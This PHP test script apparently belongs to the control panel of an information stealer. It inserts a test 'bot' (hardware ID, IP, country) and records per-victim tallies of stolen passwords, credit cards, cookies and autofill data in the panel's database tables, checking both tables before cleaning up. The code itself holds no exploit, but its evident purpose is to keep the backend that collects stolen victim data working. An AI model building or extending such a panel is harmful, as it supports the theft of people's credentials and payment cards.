<?php
// This script tests gate.php and updateBotStatistics directly, without HTTP requests

// Include necessary files
include('config.php');
require_once('Panel/update_stats.php');

// Configure test
$hwid = "TEST_DIRECT_" . time() . "_" . rand(1000, 9999);
$username = "test_user_direct";

echo "Running direct test with:\n";
echo "- HWID: $hwid\n";
echo "- Username: $username\n\n";

// Prepare test data
$requestData = [
    'hwid' => $hwid,
    'username' => $username,
    'Passwords' => 5,
    'CreditCards' => 2,
    'Cookies' => 10,
    'AutoFill' => 3,
    'IP' => '127.0.0.1',
    'Country' => 'US'
];

try {
    // Start transaction
    mysqli_begin_transaction($condb);
    
    // STEP 1: Insert into bot table
    echo "Step 1: Inserting into bot table\n";
    $date_time = date('Y/m/d h:i:s a', time());
    $ip = $requestData['IP'];
    $country = $requestData['Country'];
    
    $bot_insert = "INSERT INTO bot (IP, HWID, Date_Time, Country) VALUES (?, ?, ?, ?)";
    $stmt = mysqli_prepare($condb, $bot_insert);
    if (!$stmt) {
        throw new Exception("Failed to prepare bot insert statement: " . mysqli_error($condb));
    }
    
    mysqli_stmt_bind_param($stmt, "ssss", $ip, $hwid, $date_time, $country);
    if (!mysqli_stmt_execute($stmt)) {
        throw new Exception("Failed to insert into bot table: " . mysqli_stmt_error($stmt));
    }
    
    echo "Successfully inserted record into bot table\n\n";
    
    // STEP 2: Update the logs table with statistics
    echo "Step 2: Updating logs table\n";
    $stats = updateBotStatistics($hwid, $username, $requestData);
    
    echo "updateBotStatistics completed with result:\n";
    echo "- Passwords: {$stats['Passwords']}\n";
    echo "- CreditCards: {$stats['CreditCards']}\n";
    echo "- Cookies: {$stats['Cookies']}\n\n";
    
    // STEP 3: Verify data was saved in both tables
    echo "Step 3: Verifying data in both tables\n";
    
    // Check bot table
    $bot_check = "SELECT * FROM bot WHERE HWID = ?";
    $stmt = mysqli_prepare($condb, $bot_check);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    
    if ($row = mysqli_fetch_assoc($result)) {
        echo "✓ Bot table verification successful:\n";
        echo "- HWID: {$row['HWID']}\n";
        echo "- IP: {$row['IP']}\n";
        echo "- Date_Time: {$row['Date_Time']}\n";
        echo "- Country: {$row['Country']}\n\n";
    } else {
        echo "✗ Failed to find record in bot table\n\n";
    }
    
    // Check logs table
    $logs_check = "SELECT * FROM logs WHERE hwid = ?";
    $stmt = mysqli_prepare($condb, $logs_check);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $result = mysqli_stmt_get_result($stmt);
    
    if ($row = mysqli_fetch_assoc($result)) {
        echo "✓ Logs table verification successful:\n";
        echo "- HWID: {$row['hwid']}\n";
        echo "- Username: {$row['username']}\n";
        echo "- Passwords: {$row['Passwords']}\n";
        echo "- CreditCards: {$row['CreditCards']}\n";
        echo "- Cookies: {$row['Cookies']}\n";
        echo "- AutoFill: {$row['AutoFill']}\n\n";
        
        if ($row['username'] !== $username) {
            echo "⚠️ WARNING: Username mismatch! Expected '$username', got '{$row['username']}'\n\n";
        }
    } else {
        echo "✗ Failed to find record in logs table\n\n";
    }
    
    // Success - commit the transaction
    mysqli_commit($condb);
    echo "Transaction committed successfully.\n\n";
    
    // STEP 4: Clean up test data
    echo "Step 4: Cleaning up test data\n";
    
    $delete_bot = "DELETE FROM bot WHERE HWID = ?";
    $stmt = mysqli_prepare($condb, $delete_bot);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $bot_deleted = mysqli_affected_rows($condb);
    
    $delete_logs = "DELETE FROM logs WHERE hwid = ?";
    $stmt = mysqli_prepare($condb, $delete_logs);
    mysqli_stmt_bind_param($stmt, "s", $hwid);
    mysqli_stmt_execute($stmt);
    $logs_deleted = mysqli_affected_rows($condb);
    
    echo "- Deleted $bot_deleted records from bot table\n";
    echo "- Deleted $logs_deleted records from logs table\n\n";
    
    echo "TEST SUMMARY:\n";
    echo "- Bot table: " . ($bot_deleted > 0 ? "✓ SUCCESS" : "✗ FAILURE") . "\n";
    echo "- Logs table: " . ($logs_deleted > 0 ? "✓ SUCCESS" : "✗ FAILURE") . "\n";
    
} catch (Exception $e) {
    // Error - rollback the transaction
    mysqli_rollback($condb);
    echo "ERROR: " . $e->getMessage() . "\n";
    echo "Transaction rolled back.\n";
}
?> 